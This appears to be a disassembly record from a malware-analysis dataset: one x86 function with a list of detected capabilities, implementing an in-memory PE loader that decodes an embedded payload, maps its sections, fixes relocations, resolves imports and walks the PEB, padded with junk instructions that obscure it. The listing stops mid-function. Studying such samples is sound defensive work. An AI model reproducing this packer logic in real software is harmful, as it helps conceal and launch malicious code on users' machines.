Function at 0x401290
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get ntdll base address
Get number of processors
Get process heap flags
Inspect section memory permissions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4e7d4
call fcn.004040b0
mov eax, dword [ebp + 8]
mov eax, esp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x402d60
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
lea ecx, [ebp - 0x4e620]
lea eax, [0x413180]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x4e600
call fcn.00404db0
or eax, 0xe7
sbb eax, 0xad
or edx, 0x16
bswap esi
and edx, 0xc6
rcl eax, 0x2c
neg eax
bswap edx
rol eax, 0x55
imul eax
sbb edi, 0xea
or esi, 0xbc
dec edi
rcl edi, 0x68
rcl edx, 0x4f
rcl esi, 0x85
neg edi
dec eax
ror ebx, 0x28
add ebx, 0x3b
rol esi, 0xc8
not edi
neg edi
ror edi, 0xe5
rcr ebx, 0xba
and edx, 0x67
neg edx
dec esi
imul esi
inc edi
mov ebx, 6
rcr ebx, 0x26
imul ebx
bswap esi
rcr edx, 0x5f
mov edi, 0x1a
mov esi, 0x4b
rcl eax, 0x86
not ebx
mov esi, 0x1b
dec edi
rcr eax, 0xc6
mov edi, 0xc4
not ebx
not eax
mov esi, 0xbd
add ebx, 0x34
neg eax
sub eax, 0x14
inc esi
sub edx, 0xc6
dec ebx
rol ebx, 0xce
and eax, 0x81
rol eax, 0xde
bswap ebx
or edx, 0xc0
and edx, 0x75
dec ebx
sub edx, 0x6e
mov edx, 0xd5
add ebx, 0xc6
dec edi
and ebx, 0x1b
imul eax
ror esi, 0x41
ror edx, 0xa1
dec edi
sub esi, 0x88
sbb edi, 0x7c
mov edx, 0x42
rol esi, 0x47
not edx
neg ebx
sbb eax, 0x29
inc edx
mov esi, 0x67
bswap esi
ror eax, 0x6e
ror esi, 0xf5
neg eax
bswap eax
inc edi
rol eax, 0x71
imul edx
inc eax
neg ebx
imul edx
sbb eax, 0xd9
bswap ebx
bswap eax
imul edx
rcl edi, 0x50
rcr edi, 0x65
rol edi, 0xe6
neg edi
bswap edi
rcl edi, 0x71
neg edi
rol eax, 0x7d
inc edx
and eax, 0x39
or eax, 0x59
bswap edi
bswap edx
ror edx, 0x1d
not esi
add ebx, 1
imul esi
ror edi, 0x52
sub esi, 0x47
ror edx, 0x3b
and eax, 0xe6
inc edx
rol eax, 0xef
mov eax, 0x35
rcl eax, 0
rcl ebx, 0x8e
imul ebx
neg esi
rol eax, 0x58
rcl edi, 0x80
dec esi
sub eax, 0xd6
inc eax
not esi
ror ebx, 0x57
and eax, 0x8e
rcr edx, 0x49
rol edi, 0x2a
dec edi
mov edx, 0xdb
inc edx
not edi
bswap esi
add ebx, 0x70
bswap edi
neg eax
mov ebx, 0xc8
neg eax
sbb eax, 0x82
sbb edi, 0xe1
imul ebx
inc esi
sbb ebx, 0x56
rcr edx, 0x9d
sbb edx, 0xce
not esi
rcl eax, 0x3b
sbb eax, 0xe7
or edx, 0x83
rcl eax, 0x8d
sub eax, 0x32
add esi, 0x98
mov edi, 0xad
and eax, 0x70
sbb edx, 5
rcl edi, 0xea
not ebx
imul edx
rcl esi, 0xbf
rcl edx, 0x7f
rcl edi, 0x53
sub ebx, 0xde
rcr edi, 0x5c
dec edi
inc esi
bswap ebx
dec ebx
imul ebx
add esi, 0x51
rol eax, 0x36
dec edi
and eax, 0xf7
imul eax
dec eax
and eax, 0xf6
inc esi
add esi, 0x6a
rcl esi, 0x13
add edx, 0x73
and eax, 0x1b
dec edx
neg ebx
sbb edi, 0xb2
not esi
or ebx, 0xa3
rol edx, 0x17
not edi
dec esi
rol esi, 0x43
bswap ebx
imul edi
inc ebx
or esi, 0x7c
imul eax
dec eax
sub ebx, 0x5d
bswap edi
bswap esi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x4e620]
mov dword [esp], eax
mov dword [esp + 4], 0x4e600
call fcn.00401000
lea eax, [ebp - 0x4e620]
mov dword [ebp + 8], eax
neg edi
not edi
rcr edx, 0xa7
or edi, 0xd0
bswap eax
inc esi
rcr esi, 0xe6
rcr eax, 0xef
mov edi, 0xdf
or ebx, 0xfc
or edi, 0x12
or edi, 0xdc
not esi
imul edx
add ebx, 0x99
bswap ebx
rol esi, 0x5a
ror edi, 0x26
imul edx
mov eax, 0x71
mov eax, 0x60
mov edx, 0xd0
bswap edx
or edx, 0xa7
dec edi
neg ebx
mov esi, 0xc8
and edi, 0x4b
imul esi
inc esi
imul edi
imul ebx
inc esi
neg eax
inc edi
neg edx
dec esi
sbb eax, 0xdf
rcl ebx, 0xe2
bswap edi
rcr edx, 0x64
inc eax
not eax
rcl esi, 0xa4
not ebx
dec edi
sbb esi, 0x50
mov eax, 0x9f
inc eax
not ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4e624], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x4e624]
add eax, dword [ecx + 0x3c]
mov dword [ebp - 0x4e628], eax
mov eax, dword [ebp - 0x4e628]
cmp dword [eax], 0x4550
je 0x401612
mov dword [ebp - 0x20], 1
jmp 0x402c9e
mov eax, esp
lea ecx, [ebp - 0x4e644]
mov dword [ebp - 0x4e7b8], ecx
mov dword [eax], ecx
lea ecx, [ebp - 0x4e645]
call fcn.00402d00
sub esp, 4
mov ecx, dword [ebp - 0x4e7b8]
call fcn.00402d80
mov dword [ebp - 0x4e7b4], eax
mov dword [ebp - 0x10], 0
mov eax, esp
lea ecx, [ebp - 0x4e660]
mov dword [eax], ecx
lea ecx, [ebp - 0x4e661]
call fcn.00402d30
sub esp, 4
jmp 0x401665
lea ecx, [ebp - 0x4e660]
call fcn.00402d80
mov ecx, eax
mov dword [ebp - 0x10], 1
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x4e7bc], eax
jmp 0x401692
mov ecx, dword [ebp - 0x4e7bc]
mov edx, dword [ebp - 0x4e7b4]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x4e7c0], eax
jmp 0x4016ba
lea ecx, [ebp - 0x4e660]
call fcn.00402da0
lea ecx, [ebp - 0x4e644]
call fcn.00402da0
mov eax, dword [ebp - 0x4e7c0]
mov dword [ebp - 0x4e62c], eax
cmp dword [ebp - 0x4e62c], 0
jne 0x4016f5
mov dword [ebp - 0x20], 0
jmp 0x402c9e
mov eax, dword [ebp - 0x4e62c]
mov dword [0x468a28], eax
lea eax, [ebp - 0x4e674]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.00405330
lea eax, [ebp - 0x4e6b8]
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.00405330
mov dword [ebp - 0x4e6b8], 0x44
mov eax, dword [ebp - 0x4e628]
mov ecx, dword [eax + 0xa0]
mov dword [ebp - 0x4e6c0], ecx
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x4e6bc], eax
mov eax, dword [ebp - 0x4e628]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4e7c4], eax
cmp dword [ebp - 0x4e6bc], 0
je 0x401791
xor eax, eax
mov dword [ebp - 0x4e7c8], eax
jmp 0x4017a0
mov eax, dword [ebp - 0x4e628]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4e7c8], eax
mov eax, dword [ebp - 0x4e7c4]
mov ecx, dword [ebp - 0x4e7c8]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x4e6c4], eax
cmp dword [ebp - 0x4e6bc], 0
jne 0x401807
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
cmp eax, dword [ecx + 0x34]
je 0x401807
mov dword [ebp - 0x20], 2
jmp 0x402c9e
mov eax, dword [0x468a28]
mov ecx, dword [ebp - 0x4e6c4]
mov edx, dword [ebp - 0x4e674]
mov dword [esp], edx
mov dword [esp + 4], ecx
call eax
sub esp, 8
ror esi, 0x27
sbb edx, 6
bswap edx
or eax, 0x9e
and ebx, 0x9f
dec ebx
bswap edx
imul esi
not edx
sub edx, 0x2e
add eax, 0xb1
or edi, 0xd5
or eax, 0x20
dec eax
rcr eax, 0xf7
inc edi
or edx, 0xca
not edx
rcl edi, 0x94
sbb eax, 0x48
inc esi
ror eax, 0x5d
sbb edx, 0xcb
sub eax, 0x8a
rol esi, 0xc8
sbb eax, 0xfc
imul edx
and esi, 0x86
rol esi, 0x47
not edi
not ebx
dec edi
not esi
rol ebx, 0x76
add ebx, 0x1a
rcl edi, 7
rcr ebx, 0x40
not ebx
sbb eax, 0xb
add edx, 0x1e
add edx, 0xee
sbb ebx, 0xfd
sbb edi, 0x43
rcl ebx, 0xba
mov esi, 0x7b
rcr edi, 0xae
not ebx
not eax
add esi, 0x34
sbb edi, 2
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp + 8]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.00404db0
or eax, 0x86
rcl eax, 0x44
rcl edi, 0x93
add edi, 0xb3
rol edx, 0x45
and ebx, 0x68
ror edx, 0xdc
or esi, 0x88
and esi, 0x2f
sbb esi, 0x65
rcr edx, 0xeb
rcl edi, 0x15
neg eax
neg edi
dec edx
mov eax, 0xfd
rcl esi, 0x42
ror edx, 0x5a
add edx, 0xdc
mov esi, 0xc6
dec esi
sbb edx, 0x17
not edi
and edi, 0x33
dec ebx
bswap edx
bswap eax
add edi, 0xe6
rcr esi, 0x99
bswap esi
not edi
rcl edi, 0xf
bswap edx
neg eax
rcr eax, 0x57
rcr ebx, 0x64
rcl edi, 0xd2
bswap edx
imul ebx
dec edx
or eax, 0x3c
inc edx
sub esi, 0x77
dec edi
mov eax, 0x9e
dec eax
neg edx
imul edi
sbb edx, 0x4b
bswap edi
neg edi
bswap edi
or edi, 0x31
mov eax, 0xe1
sbb eax, 0x98
imul ebx
dec esi
not edx
neg ebx
rol edx, 0x3e
not esi
neg edx
bswap eax
mov ebx, 0x4d
bswap esi
and eax, 0x16
not eax
mov edi, 0xa5
rcr esi, 0x23
inc esi
or ebx, 0xf3
not esi
not esi
neg ebx
inc esi
imul edx
dec eax
sbb edi, 0x42
sub edx, 0xd1
not edi
sbb eax, 0x22
and edx, 0xa3
add esi, 0x36
bswap ebx
dec edx
imul edi
sub edi, 0x6f
sub eax, 0xd4
and esi, 0xb7
bswap edx
rcr ebx, 0xc8
inc eax
rcl edi, 0x15
not esi
dec esi
rcr edi, 0x3f
ror eax, 0x45
inc esi
add ebx, 0x7f
inc eax
dec eax
mov eax, 0xe4
add edx, 6
imul edi
sbb ebx, 0x40
mov eax, 0xe0
ror edx, 0x90
mov eax, 0x9c
dec edx
inc edi
dec esi
neg edi
and edx, 0xf9
rol edi, 0x5d
sbb edx, 0x8f
imul edi
mov eax, 0x51
neg esi
imul ebx
mov esi, 0x45
sub eax, 0x1a
sub edi, 0xb3
mov ebx, 0xab
rol edi, 0xbd
inc edx
and edx, 0xb5
ror edi, 0xd1
sub edi, 0x2f
inc esi
bswap eax
add eax, 0xc2
sbb esi, 0x35
rcl eax, 0xd7
inc eax
rcr ebx, 0x5e
ror edi, 0x7f
and edi, 0xa
or eax, 0xd6
not edi
bswap eax
mov edx, 0xc5
not edi
rol edx, 0xcb
rcr edi, 0x75
rcl ebx, 0x68
rcr ebx, 0x41
rol edi, 0x57
or esi, 0x90
bswap eax
dec eax
dec edx
inc ebx
bswap ebx
dec edx
not eax
not eax
ror ebx, 0xed
sub ebx, 0x2d
bswap edx
sbb edi, 0x2e
rcr ebx, 0x25
rcr edi, 0xbf
mov esi, 0xe1
add esi, 0xe6
neg esi
rol edi, 0x11
not ebx
not edi
or edx, 0xb0
sbb ebx, 0xb0
sbb eax, 0x8d
rcr edi, 0x8b
inc esi
inc edi
inc ebx
rcl eax, 0x3c
dec edi
inc ebx
and ebx, 0xbb
sub ebx, 0x3f
dec esi
inc ebx
neg esi
add edi, 0x63
sub edi, 0xc6
not edx
inc eax
and esi, 0x80
dec eax
sub edx, 0x3e
not ebx
or ebx, 0xc3
dec edx
and esi, 0xb
neg eax
rcl ebx, 0xb
imul edi
imul edx
sbb eax, 0xce
not eax
ror ebx, 0xdb
neg eax
ror esi, 0x43
inc esi
imul edi
and edi, 0xae
inc edi
imul edx
bswap edi
mov ebx, 0xb3
rol esi, 0x3b
bswap edx
add edi, 0x8f
ror ebx, 0xa7
rcr eax, 0xa6
and ebx, 0xd0
or esi, 0x69
rcr edx, 0x80
sub ebx, 0x3d
sub ebx, 0x8d
not edi
sbb edi, 0xab
ror eax, 0x88
neg ebx
rcl edi, 0x90
sbb ebx, 0x26
bswap esi
not esi
imul edx
rcr eax, 0xa2
rcr eax, 0x93
inc edi
rol esi, 0x98
neg ebx
neg eax
sbb ebx, 0x3d
rcl edi, 0xc6
bswap edx
rcl eax, 0x91
sub edx, 0xb3
neg edi
rcr edi, 0xd
and esi, 0xb6
add ebx, 0x42
or edi, 0x6c
not edi
or ebx, 0x7c
imul edi
imul ebx
rcr edx, 0x73
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e628]
add eax, 0x18
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x4e6c8], eax
mov dword [ebp - 0x4e6cc], 0
mov eax, dword [ebp - 0x4e6cc]
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x401c57
mov edx, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e6c8]
imul ecx, dword [ebp - 0x4e6cc], 0x28
add eax, ecx
add edx, dword [eax + 0xc]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x4e6c8]
imul esi, dword [ebp - 0x4e6cc], 0x28
add eax, esi
add ecx, dword [eax + 0x14]
mov eax, dword [ebp - 0x4e6c8]
imul esi, dword [ebp - 0x4e6cc], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00404db0
mov eax, dword [ebp - 0x4e6cc]
add eax, 1
mov dword [ebp - 0x4e6cc], eax
jmp 0x401bdc
bswap eax
rcl ebx, 0x89
rcl edi, 0x40
mov ebx, 0x18
rcr eax, 0xba
bswap esi
or esi, 0x9c
imul esi
rcl esi, 0xf9
rol esi, 0xe8
bswap ebx
bswap edi
rcl ebx, 0x24
neg eax
not edi
rcr esi, 0x4c
or edx, 0x7e
not eax
imul ebx
and eax, 0x3d
mov edx, 0xb1
mov edi, 0x61
and ebx, 0x97
dec esi
or esi, 0x25
imul eax
sbb esi, 0x82
dec eax
bswap edx
add esi, 0xb3
add eax, 0xda
sbb esi, 0xf3
dec edi
bswap edi
bswap eax
inc esi
sub eax, 0x43
mov edx, 0xe8
rol edx, 0x65
rcr edi, 0x18
and ebx, 0xc4
bswap eax
add eax, 0x6f
inc edx
neg eax
rcr esi, 0x69
rol edx, 0x33
imul eax
dec eax
not ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
cmp eax, dword [ecx + 0x34]
je 0x401e21
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x4e6d0], eax
mov eax, dword [ebp - 0x4e6c4]
add eax, dword [ebp - 0x4e6c0]
mov dword [ebp - 0x4e6d4], eax
mov dword [ebp - 0x4e6d8], 0
mov eax, dword [ebp - 0x4e6d8]
cmp eax, dword [ebp - 0x4e6bc]
jae 0x401e1c
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6d4]
add eax, dword [ecx]
mov dword [ebp - 0x4e6dc], eax
mov eax, dword [ebp - 0x4e6d4]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x4e6e0], eax
mov eax, dword [ebp - 0x4e6d4]
add eax, 8
mov dword [ebp - 0x4e6e4], eax
mov dword [ebp - 0x4e6e8], 0
mov eax, dword [ebp - 0x4e6e8]
cmp eax, dword [ebp - 0x4e6e0]
jge 0x401df6
mov eax, dword [ebp - 0x4e6e4]
movzx eax, word [eax]
sar eax, 0xc
and eax, 3
cmp eax, 0
je 0x401dd3
mov ecx, dword [ebp - 0x4e6d0]
mov eax, dword [ebp - 0x4e6dc]
mov edx, dword [ebp - 0x4e6e4]
movzx edx, word [edx]
and edx, 0xfff
add eax, edx
add ecx, dword [eax]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4e6e4]
add eax, 2
mov dword [ebp - 0x4e6e4], eax
mov eax, dword [ebp - 0x4e6e8]
add eax, 1
mov dword [ebp - 0x4e6e8], eax
jmp 0x401d88
mov eax, dword [ebp - 0x4e6d4]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x4e6d8]
mov dword [ebp - 0x4e6d8], eax
mov eax, dword [ebp - 0x4e6e4]
mov dword [ebp - 0x4e6d4], eax
jmp 0x401d35
jmp 0x401e21
neg ebx
not eax
ror esi, 0x9c
imul eax
inc ebx
inc ebx
rcl eax, 0x61
imul ebx
add edx, 0xc4
rcr edi, 0x9d
mov ebx, 0x6c
rol edx, 0x3b
bswap esi
sbb edi, 0x8f
not edx
not ebx
mov edx, 0x47
ror ebx, 0xcb
ror esi, 0x5c
ror ebx, 0x45
inc esi
dec edx
not edx
rcl eax, 0x25
mov ebx, 0xe6
mov esi, 0xf4
neg edx
rcl eax, 0x43
bswap edx
rol edx, 0x7a
ror edx, 0xbe
bswap edi
sub ebx, 0x33
sub ebx, 0x2e
neg edx
bswap edi
neg edi
inc edx
and ebx, 0xc4
rcr eax, 0xb0
mov edi, 0x74
not ebx
rcr eax, 0x3d
sbb ebx, 0xf1
not esi
rol ebx, 0x29
inc edx
bswap ebx
neg eax
imul eax
imul ebx
rol edx, 0x2b
rcr eax, 0x6f
rcr ebx, 0x42
imul ebx
dec ebx
sbb esi, 0x26
rol esi, 0x82
neg edx
add edi, 0x80
bswap edx
dec edi
bswap esi
sub esi, 0x47
inc eax
neg ebx
inc ebx
rol ebx, 0x5a
bswap eax
inc edi
imul esi
dec edi
bswap edx
rcr ebx, 0x68
bswap ebx
imul edi
and esi, 0x50
inc ebx
add edi, 0xd7
mov edi, 0xb7
or esi, 0xb4
bswap edx
imul eax
rcl ebx, 0xa
ror ebx, 0x66
or eax, 0xb5
bswap esi
ror eax, 0xf2
inc eax
sbb esi, 0xa8
dec eax
inc ebx
neg edi
ror edx, 0x67
rcr esi, 0x90
imul esi
bswap esi
bswap eax
not edx
not edx
imul edx
neg esi
and ebx, 0x81
inc esi
and edi, 0x88
not edi
sbb esi, 0xd
bswap edx
bswap eax
or esi, 0
rcl edi, 0x6b
ror eax, 0x46
inc eax
bswap ebx
rcl esi, 0x98
inc esi
sbb esi, 0xea
mov ebx, 0xce
sbb edi, 0x24
sub ebx, 0x79
dec eax
imul edi
rcl edi, 0xb
rol eax, 0xb0
or edx, 0x24
rol edx, 0x73
and esi, 0x35
sbb esi, 0x1d
rcl esi, 0xcb
add eax, 0xf6
sub ebx, 0x37
or ebx, 0x1a
imul ebx
rcr edi, 0x5e
dec edi
or eax, 0x8e
add esi, 0xa3
dec eax
sub edi, 0xab
inc ebx
inc ebx
imul ebx
and edx, 0xfd
not edx
dec edx
bswap ebx
mov edx, 0xbf
inc ebx
not edi
and esi, 0x12
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e628]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x4e6ec], eax
mov dword [ebp - 0x4e6f0], 0
mov eax, dword [ebp - 0x4e6ec]
imul ecx, dword [ebp - 0x4e6f0], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x40215a
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6ec]
imul edx, dword [ebp - 0x4e6f0], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x4e6f4], eax
mov eax, dword [ebp - 0x4e6f4]
mov dword [ebp - 0x10], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x4e6f8], eax
cmp dword [ebp - 0x4e6f8], 0
jne 0x402049
jmp 0x402146
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6ec]
imul edx, dword [ebp - 0x4e6f0], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x4e6fc], eax
mov dword [ebp - 0x4e700], 0
mov eax, dword [ebp - 0x4e6fc]
mov ecx, dword [ebp - 0x4e700]
cmp dword [eax + ecx*4], 0
je 0x402141
mov eax, dword [ebp - 0x4e6c4]
mov ecx, dword [ebp - 0x4e6fc]
mov edx, dword [ebp - 0x4e700]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x4e704], eax
mov eax, dword [ebp - 0x4e6fc]
mov ecx, dword [ebp - 0x4e700]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x4e6f8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4e708], eax
cmp dword [ebp - 0x4e708], 0
jne 0x402102
mov eax, dword [ebp - 0x4e704]
add eax, 2
mov ecx, dword [ebp - 0x4e6f8]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x4e708], eax
mov ecx, dword [ebp - 0x4e708]
mov eax, dword [ebp - 0x4e6c4]
mov edx, dword [ebp - 0x4e6ec]
imul esi, dword [ebp - 0x4e6f0], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x4e700]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x4e700]
add eax, 1
mov dword [ebp - 0x4e700], eax
jmp 0x402071
jmp 0x402146
mov eax, dword [ebp - 0x4e6f0]
add eax, 1
mov dword [ebp - 0x4e6f0], eax
jmp 0x401fe1
mov dword [ebp - 0x4e710], 0
mov eax, dword [ebp - 0x4e710]
mov ecx, dword [ebp - 0x4e628]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x4022eb
mov dword [ebp - 0x4e714], 0x40
mov eax, dword [ebp - 0x4e6c8]
imul ecx, dword [ebp - 0x4e710], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x4e718], eax
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x4021f0
mov eax, dword [ebp - 0x4e718]
and eax, 0x80000000
cmp eax, 0
je 0x4021f0
mov eax, dword [ebp - 0x4e718]
and eax, 0x20000000
cmp eax, 0
je 0x4021f0
mov dword [ebp - 0x4e714], 0x40
mov dword [ebp - 0x10], 0xffffffff
jmp 0x40228d
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x402227
mov eax, dword [ebp - 0x4e718]
and eax, 0x80000000
cmp eax, 0
je 0x402227
mov dword [ebp - 0x4e714], 4
jmp 0x402286
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x40225e
mov eax, dword [ebp - 0x4e718]
and eax, 0x20000000
cmp eax, 0
je 0x40225e
mov dword [ebp - 0x4e714], 0x20
jmp 0x402281
mov eax, dword [ebp - 0x4e718]
and eax, 0x40000000
cmp eax, 0
je 0x40227c
mov dword [ebp - 0x4e714], 2
jmp 0x402281
jmp 0x402286
mov dword [ebp - 0x10], 0xffffffff
mov ecx, dword [ebp - 0x4e714]
mov eax, dword [ebp - 0x4e6c8]
imul edx, dword [ebp - 0x4e710], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x4e6c4]
mov eax, dword [ebp - 0x4e6c8]
imul edi, dword [ebp - 0x4e710], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x4e70c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.00401250
mov eax, dword [ebp - 0x4e710]
add eax, 1
mov dword [ebp - 0x4e710], eax
jmp 0x402164
dec esi
neg esi
inc ebx
not edi
mov esi, 0x7c
not edi
rol ebx, 0x79
sub edi, 0x58
sbb edi, 0xfb
ror edx, 0x83
not eax
not edi
sub edi, 0xd2
rcr esi, 0x52
mov eax, 0xe4
bswap esi
rol edx, 0x6d
neg ebx
sbb esi, 0x67
add ebx, 0x37
imul eax
dec eax
and esi, 0x80
or edi, 0x45
sbb ebx, 0xf2
imul eax
not esi
neg edi
inc edx
inc edi
rcl eax, 0x29
inc eax
sub eax, 0xa7
rcr eax, 0x55
dec esi
neg edi
sub edx, 0xd2
sbb esi, 0xe1
imul esi
inc esi
add ebx, 0x8d
not esi
ror ebx, 0x85
mov ebx, 0xa7
not edx
neg eax
ror ebx, 0xac
inc edx
inc ebx
sub edx, 0xc3
bswap ebx
imul ebx
bswap eax
mov esi, 0x31
dec eax
and edx, 0x18
rcr esi, 0xb
not esi
sbb eax, 9
not ebx
sbb edi, 0x8a
dec esi
inc esi
not eax
neg eax
sub edx, 6
not edi
inc edx
not edi
inc edx
neg eax
not edx
ror eax, 0xb3
mov edx, 0x3b
rcl eax, 0x62
not ebx
and esi, 0x8d
imul edi
bswap esi
ror ebx, 0xdd
sub edx, 0xe9
neg eax
or edx, 0x8c
or esi, 0x17
mov ebx, 0x64
add edi, 0x95
inc edi
rol ebx, 0x2e
add edi, 0x61
neg edi
rol edi, 0x8a
sub edi, 0x22
neg ebx
mov esi, 0x8b
inc edi
sub edi, 0x11
dec eax
or ebx, 0xf6
neg esi
ror edx, 0xc2
inc edi
ror edi, 0x8d
dec eax
dec esi
rcr eax, 0x7f
sbb eax, 0x8a
mov esi, 0x74
inc edx
neg ebx
rcl edi, 0x4d
imul edx
inc edx
dec ebx
dec edx
dec ebx
rcl esi, 0x55
imul esi
ror edx, 0x66
rcl eax, 0xcd
mov ebx, 0xdf
add edi, 0x4b
ror esi, 0xce
rcl esi, 7
not edi
not edi
dec edi
mov ebx, 0xc1
dec ebx
not esi
mov edi, 0x7f
neg eax
not ebx
bswap esi
imul esi
mov eax, 0x6a
or eax, 0x87
mov edi, 0x68
add eax, 0x1c
rcl eax, 0xf7
sub eax, 0x90
not esi
rcr eax, 0x53
neg esi
or ebx, 0x8b
or eax, 0x75
neg eax
inc edi
rcr edx, 0xee
or edi, 0x95
sbb ebx, 0x97
mov dword [ebp - 0x20], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x4e71c], eax
mov eax, dword [ebp - 0x4e71c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4e720], eax
mov eax, dword [ebp - 0x4e720]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0x4e724], eax
bswap edx
bswap edi
imul eax
dec ebx
neg edx
not edx
dec eax
dec esi
mov ebx, 0xc4
bswap ebx
not eax
sub ebx, 0xae
dec edi
rcr edx, 0xa4
or edx, 0
mov eax, 0xa1
inc esi
neg ebx
sbb edi, 0x4e
sbb edx, 0x2f
imul edx
imul ebx
inc eax
imul edx
imul edx
ror eax, 0x22
rcr eax, 0xe6
mov eax, 0x1d
inc esi
sub eax, 0xc2
add esi, 0x49
and edx, 0xb5
or ebx, 0x11
rcr edx, 0xf
rcr edx, 0xae
add edi, 0xa5
and eax, 0x7a
neg edx
not edx
dec edi
inc ebx
add eax, 0x1d
neg edi
rcr edx, 0x5c
not ebx
imul edi
mov edi, 0x8c
bswap edx
ror edi, 7
ror edx, 0x29
imul edx
imul eax
imul esi
sbb esi, 0x81
inc ebx
bswap ebx
add edx, 0x6c
imul esi
and eax, 0xc4
rcl edi, 0xa7
rcl ebx, 0xf4
dec edi
or ebx, 0xa4
rcr edi, 0xc7
dec edi
neg esi
sbb esi, 0x42
add ebx, 0x87
ror edi, 0x7a
bswap eax
neg esi
sbb edi, 0xd7
or esi, 2
mov eax, 0x49
sbb eax, 0x37
bswap edi
mov ebx, 0x9a
not esi
ror eax, 0x4d
ror ebx, 0xb6
bswap eax
mov esi, 0xab
not esi
inc esi
add edx, 0xbe
inc esi
rcl edx, 0x83
not edx
neg edx
imul edx
not edx
rcr ebx, 0x7e
and esi, 0xb6
dec esi
inc edx
inc edx
and ebx, 0x9f
dec ebx
rcl edi, 0x21
and esi, 0xb1
mov edi, 0xf7
sub ebx, 0x3d
or edx, 0xc0
dec edx
rcl ebx, 0xe6
dec eax
ror edi, 0x40
sub eax, 0x62
rcr ebx, 0xd9
sub esi, 0xcf
or edi, 0xcf
inc ebx
neg ebx
bswap edx
not edx
inc esi
mov edx, 0xfb
dec ebx
dec edi
sbb edx, 0x89
dec ebx
or edi, 0xec
add edi, 0x40
dec edx
mov esi, 0x39
